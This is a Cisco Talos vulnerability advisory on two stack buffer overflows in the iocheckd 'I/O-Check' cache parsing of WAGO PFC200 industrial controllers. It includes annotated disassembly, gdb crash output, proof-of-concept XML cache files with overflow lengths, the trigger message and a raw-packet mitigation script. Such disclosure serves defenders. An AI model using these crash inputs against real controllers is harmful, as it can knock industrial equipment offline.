Talos Vulnerability Report

TALOS-2019-0966

WAGO PFC200 iocheckd service "I/O-Check" cache Multiple Memory Corruption Vulnerabilities

March 9, 2020
CVE Number

CVE-2019-5185, CVE-2019-5186

Summary

An exploitable stack buffer overflow vulnerability vulnerability exists in the iocheckd service "I/O-Check" functionality of WAGO PFC 200. A specially crafted xml cache file written to a specific location on the device can cause a stack buffer overflow, resulting in a denial of service and potentially code execution. An attacker can send a specially crafted packet to trigger the parsing of this cache file.

Tested Versions

WAGO PFC200 Firmware version 03.02.02(14)

Product URLs

https://www.wago.com/us/pfc200

CVSSv3 Score

7.0 - CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

The WAGO PFC200 Controller is one of WAGO's programmable automation controllers that boasts high cybersecurity standards by including VPN, SSL and firewall software. WAGO controllers are used in many industries including automotive, rail, power engineering, manufacturing, and building management. The WAGO PFC200 Controller communicates via both standard and custom protocols.

The iocheckd service "I/O-Check" implements a custom configuration protocol used by WAGO controllers. The iocheckd service "I/O-Check" functionality of WAGO PFC 200 uses a file-backed cache to perform some network configuration functionality. The file used for the cache is stored at /tmp/iocheckCache.xml which is globally writeable. During parsing of the iocheckCache.xml file, several parameters can be used to cause buffer overflows. Due to the stack layout of the vulnerable function, the result of these overflows is invalid memory access. This causes the iocheckd program to crash, without setting a status variable within the shared memory used by the process. Depending on the compiler and optimization level used used, this vulnerability could potentially result in code execution. Exploiting this vulnerability in its basic form results in a denial of service for the following iocheckd messages. These messages will respond with an error rather than carrying out the intended functionality after exploitation:

  • BC_FactoryRestore
    • Used to restore factory default settings
  • BC_SetSwitchMode
    • Used to set the network interface mode (switched or separated)
  • BC_SaveParameter
    • This results in denying the ability to set many network parameters including:
      • ip address
      • subnet mask
      • gateway address
      • dns server
      • ntp server
      • hostname
      • domain name

To restore normal functionality of iocheckd, the user must reboot the device or log in as the root user and delete /dev/shm/wago_IO_Check.

In order to exercise this vulnerability, the attacker must place the malicious xml file at /tmp/iocheckCache.xml. All users have write access for /tmp and can write this file. The vulnerability can be triggered by sending the BC_SaveParameter message which will cause the iocheckCache.xml file to be parsed.

The vulnerable code exists for each node extracted from the iocheckCache.xml file. The following example shows the vulnerable code path for the state parameter. The code paths for other vulnerable nodes are similar to this one:

.text:0001E478                 MOV             R0, cur_node
.text:0001E47C                 BL              xmlNodeGetContent
.text:0001E480                 MOV             R1, R4
.text:0001E484                 MOV             R7, R0 ; R7 contains xml node contents 
...
.text:0001E5D4                 MOV             R1, #0x1D54
.text:0001E5D8                 LDR             R0, [R10,#8]
.text:0001E5DC                 MOVT            R1, #2 ; Comparing to string `state`
.text:0001E5E0                 BL              xmlStrcmp
.text:0001E5E4                 LDR             R3, [SP,#0x868+var_840]
.text:0001E5E8                 CMP             R0, #0
.text:0001E5EC                 MOVEQ           R3, R7
.text:0001E5F0                 STR             R3, [SP,#0x868+var_840] ; store xml contents in `var_840`
.text:0001E5F4                 B               loc_1E568
...
.text:0001E9E0                 LDR             R3, [SP,#0x868+var_840] ; `var_84c` contains xml contents of `state` node
.text:0001E9E4                 CMP             R3, #0
.text:0001E9E8                 BEQ             loc_1EBA8
.text:0001E9EC                 MOV             R1, #0x1668
.text:0001E9F0                 MOV             R2, R5 ; R5 points to stack buffer sp+0x40 (also our dest). At this point the buffer contains "/etc/config-tools/config_interfaces interface=<contents of interface node>"
.text:0001E9F4                 MOVT            R1, #2  ; format "%s state=%s"
.text:0001E9F8                 MOV             R0, R5  ; dest - R5 points to stack buffer sp+0x40 which is 512 bytes in length
.text:0001E9FC                 BL              sprintf ; overflow stack buffer sp+0x40
...
.text:0001EA00                 MOV             R1, R5  ; src - stack buffer sp+0x40 that was previously overflowed
.text:0001EA04                 MOV             R0, R4  ; dest - stack buffer sp+0x440 which is immediately adjacent to sp+0x40 on the stack
.text:0001EA08                 BL              strcpy ; this strcpy results in invalid memory access crashing the process because there is no NULL termination due to the overflow of the stack buffer sp+0x40

Crash Information

The following example shows the crash for the state parameter. The crashes for other vulnerable nodes are similar to this one:

Thread 2 "iocheckd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 12836.12966]
0xb6ad9698 in strcpy () from target:/lib/libc.so.6
(gdb) i r
r0             0xb652d000       3058880512
r1             0xb652cc08       3058879496
r2             0x41414141       1094795585
r3             0x41414141       1094795585
r4             0x0      0
r5             0x0      0
r6             0x0      0
r7             0x1010101        16843009
r8             0x2108c  135308
r9             0xb5c0b918       3049306392
r10            0x0      0
r11            0x0      0
r12            0xb652b9f0       3058874864
sp             0xb652b5a0       0xb652b5a0
lr             0x1ea0c  125452
pc             0xb6ad9698       0xb6ad9698 <strcpy+104>
cpsr           0x60070010       1611071504
fpscr          0x0      0
(gdb) bt
#0  0xb6ad9698 in strcpy () from target:/lib/libc.so.6
#1  0x0001ea0c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)

CVE-2019-5185 - state

At 0x1ea28 the extracted state value from the xml file is used as an argument to /etc/config-tools/config_interfaces interface=X1 state=<contents of state node> using sprintf(). The destination buffer sp+0x40 is overflowed with the call to sprintf() for any state values that are greater than 512-len("/etc/config-tools/config_interfaces interface=X1 state=") in length. Later, at 0x1ea08 strcpy() is used to copy the contents of the stack buffer that was overflowed sp+0x40 into sp+0x440. The buffer sp+0x440 is immediately adjacent to sp+0x40 on the stack. Therefore, there is no NULL termination on the buffer sp+0x40 since it overflowed into sp+0x440. The strcpy() will result in invalid memory access. An state value of length 0x3c9 will cause the service to crash.

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <interfaces>
    <X1>
        <state>OVERFLOW</state>
    </X1>
    </interfaces>
</network>
</settings>

CVE-2019-5186 - interface

At 0x1eb9c the extracted interface element name from the xml file is used as an argument to /etc/config-tools/config_interfaces interface=<contents of interface element> using sprintf(). The destination buffer sp+0x40 is overflowed with the call to sprintf() for any interface values that are greater than 512-len("/etc/config-tools/config_interfaces interface=") in length. Later, at 0x1ea08 strcpy() is used to copy the contents of the stack buffer that was overflowed sp+0x40 into sp+0x440. The buffer sp+0x440 is immediately adjacent to sp+0x40 on the stack. Therefore, there is no NULL termination on the buffer sp+0x40 since it overflowed into sp+0x440. The strcpy() will result in invalid memory access. An interface value of length 0x3c4 will cause the service to crash.

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <interfaces>
    <OVERFLOW>
        <ip>192.168.1.30</ip>
    </OVERFLOW>
    </interfaces>
</network>
</settings>

Mitigation

  • This vulnerability could be mitigated by disabling the iocheckd service "I/O-Check" via the Web-based management web application.
  • This vulnerability could be mitigated by disabling iocheckd caching

    #Author : Kelly Leuschner, Cisco Talos import argparse, socket

    if name=="main":

      parser = argparse.ArgumentParser(description="Disable iocheckd Caching on WAGO PFC200 via iocheckd:RC_WriteRegister")
      parser.add_argument('ipAddr', help='ip address of PLC')
      parser.add_argument('port', type = int, help='Service protocol port number (6626)')
      args = parser.parse_args()
    
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((args.ipAddr, args.port))
    
      print("Sending RC_WriteRegister message to disable iocheckd caching")
      s.send(b'\x88\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x02\x04\x00\x00\x00\x00\n\x00\x0b\x00\x00\x00')
      s.recv(1024)
      s.close()
    

Timeline

2019-12-06 - Vendor Disclosure
2020-01-28 - Talos discussion about vulnerabilities with Vendor; disclosure deadline extended
2020-03-09 - Public Release

Credit

Discovered by Kelly Leuschner of Cisco Talos